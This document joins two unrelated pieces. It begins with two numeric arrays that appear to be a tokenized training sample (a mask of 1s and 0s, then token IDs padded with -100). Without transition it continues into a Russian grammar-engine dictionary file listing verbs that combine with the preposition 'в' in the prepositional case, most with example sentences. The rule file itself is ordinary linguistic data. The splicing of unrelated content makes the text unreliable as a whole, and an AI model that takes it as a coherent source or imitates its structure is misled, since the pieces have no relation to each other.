[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 41, 1460, 87, 15749, 12, 1080, 3778, 389, 1745, 1489, 16, 533, 3778, 389, 4165, 1489, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 3890, 24899, 1745, 1489, 2934, 2469, 405, 374, 16, 315, 1921, 913, 1976, 8863, 203, 3639, 913, 1489, 273, 389, 1745, 1489, 31, 203, 3639, 2583, 12, 3890, 24899, 4165, 1489, 2934, 2469, 405, 374, 16, 315, 1921, 1982, 1976, 8863, 203, 3639, 1982, 1489, 273, 389, 4165, 1489, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Сочетаемость глаголов (и отглагольных частей речи) с предложным // паттерном. // LC->07.08.2018 facts гл_предл language=Russian { arity=3 //violation_score=-5 generic return=boolean } #define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{} #region Предлог_В // ------------------- С ПРЕДЛОГОМ 'В' --------------------------- #region Предложный // Глаголы и отглагольные части речи, присоединяющие // предложное дополнение с предлогом В и сущ. в предложном падеже. wordentry_set Гл_В_Предл = { rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль // вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб rus_verbs:воевать{}, // Воевал во Франции. rus_verbs:устать{}, // Устали в дороге? rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения. rus_verbs:решить{}, // Что решат в правительстве? rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает. rus_verbs:обстоять{}, // В действительности же дело обстояло не так. rus_verbs:подыматься{}, rus_verbs:поехать{}, // поедем в такси! rus_verbs:уехать{}, // он уехал в такси rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей rus_verbs:ОБЛАЧИТЬ{}, rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло. rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ) rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ) rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ) rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ) rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ) rus_verbs:ЗАМАЯЧИТЬ{}, rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ) rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ) rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ) rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ) rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ) rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ) rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ) rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ) rus_verbs:ПоТЕРЯТЬ{}, rus_verbs:УТЕРЯТЬ{}, rus_verbs:РАСТЕРЯТЬ{}, rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.) rus_verbs:СОМКНУТЬСЯ{}, rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ) rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ) rus_verbs:ВЫСТОЯТЬ{}, rus_verbs:ПОСТОЯТЬ{}, rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ) rus_verbs:ВЗВЕШИВАТЬ{}, rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ) прилагательное:быстрый{}, // Кисель быстр в приготовлении rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень rus_verbs:призывать{}, rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ) rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ) rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ) rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ) rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ) rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ) rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ) rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ) rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ) rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ) rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ) rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ) rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ) rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ) rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ) rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ) rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ) rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ) rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ) rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ) rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ) rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ) rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ) rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ) rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ) rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ) rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ) rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ) инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан глагол:проводить{ вид:несоверш }, деепричастие:проводя{}, rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл) rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл) rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл) rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл) rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл) rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл) rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл) rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл) rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл) rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл) rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл) rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл) rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл) rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл) rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл) прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В) rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл) rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл) rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл) rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл) rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл) rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл) rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл) rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл) rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В) rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В) rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл) rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В) rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл) rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл) rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В) rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл) rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл) rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В) rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл) rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В) rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В) rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В) rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В) rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл) rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В) частица:нет{}, // В этом нет сомнения. частица:нету{}, // В этом нету сомнения. rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов. прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В) rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В) rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В) rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В) rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл) rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В) rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в) rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В) rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В) rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В) rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В) rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В) rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В) rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В) rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В) rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В) rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В) rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В) rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В) rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В) rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:РАСКЛАДЫВАТЬСЯ{}, rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В) rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В) rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В) rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В) rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл) rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В) rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В) инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В) глагол:НАПИСАТЬ{ aux stress="напис^ать" }, прилагательное:НАПИСАННЫЙ{}, rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В) rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В) rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В) rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В) rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В) rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В) rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл) rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл) rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В) безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в) rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В) rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В) rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В) rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В) rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В) rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В) rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В) rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В) rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В) rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В) rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В) rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В) rus_verbs:объявить{}, // В газете объявили о конкурсе. rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В) rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В) rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в) rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в) rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в) rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в) инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В) глагол:ПАРИТЬ{ aux stress="пар^ить"}, деепричастие:паря{ aux stress="пар^я" }, прилагательное:ПАРЯЩИЙ{}, прилагательное:ПАРИВШИЙ{}, rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В) rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В) rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в) rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В) rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В) rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В) rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В) rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В) rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В) rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в) rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в) rus_verbs:принять{}, // Документ принят в следующей редакции (принять в) rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в) rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В) rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в) rus_verbs:звучать{}, // в доме звучала музыка (звучать в) rus_verbs:колебаться{}, // колеблется в выборе (колебаться в) rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в) rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в) rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в) rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в) rus_verbs:вычитывать{}, // вычитывать в книге rus_verbs:гудеть{}, // У него в ушах гудит. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки. rus_verbs:разойтись{}, // Они разошлись в темноте. rus_verbs:прибежать{}, // Мальчик прибежал в слезах. rus_verbs:биться{}, // Она билась в истерике. rus_verbs:регистрироваться{}, // регистрироваться в системе rus_verbs:считать{}, // я буду считать в уме rus_verbs:трахаться{}, // трахаться в гамаке rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке rus_verbs:разрушать{}, // разрушать в дробилке rus_verbs:засидеться{}, // засидеться в гостях rus_verbs:засиживаться{}, // засиживаться в гостях rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке) rus_verbs:навестить{}, // навестить в доме престарелых rus_verbs:запомнить{}, // запомнить в кэше rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.) rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка) rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику. rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.) rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу rus_verbs:оглядываться{}, // оглядываться в зеркале rus_verbs:нарисовать{}, // нарисовать в тетрадке rus_verbs:пробить{}, // пробить отверствие в стене rus_verbs:повертеть{}, // повертеть в руке rus_verbs:вертеть{}, // Я вертел в руках rus_verbs:рваться{}, // Веревка рвется в месте надреза rus_verbs:распространяться{}, // распространяться в среде наркоманов rus_verbs:попрощаться{}, // попрощаться в здании морга rus_verbs:соображать{}, // соображать в уме инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот) rus_verbs:разобрать{}, // разобрать в гараже rus_verbs:помереть{}, // помереть в пути rus_verbs:различить{}, // различить в темноте rus_verbs:рисовать{}, // рисовать в графическом редакторе rus_verbs:проследить{}, // проследить в записях камер слежения rus_verbs:совершаться{}, // Правосудие совершается в суде rus_verbs:задремать{}, // задремать в кровати rus_verbs:ругаться{}, // ругаться в комнате rus_verbs:зазвучать{}, // зазвучать в радиоприемниках rus_verbs:задохнуться{}, // задохнуться в воде rus_verbs:порождать{}, // порождать в неокрепших умах rus_verbs:отдыхать{}, // отдыхать в санатории rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении rus_verbs:образовать{}, // образовать в пробирке темную взвесь rus_verbs:отмечать{}, // отмечать в списке rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте rus_verbs:плясать{}, // плясать в откружении незнакомых людей rus_verbs:повысить{}, // повысить в звании rus_verbs:поджидать{}, // поджидать в подъезде rus_verbs:отказать{}, // отказать в пересмотре дела rus_verbs:раствориться{}, // раствориться в бензине rus_verbs:отражать{}, // отражать в стихах rus_verbs:дремать{}, // дремать в гамаке rus_verbs:применяться{}, // применяться в домашних условиях rus_verbs:присниться{}, // присниться во сне 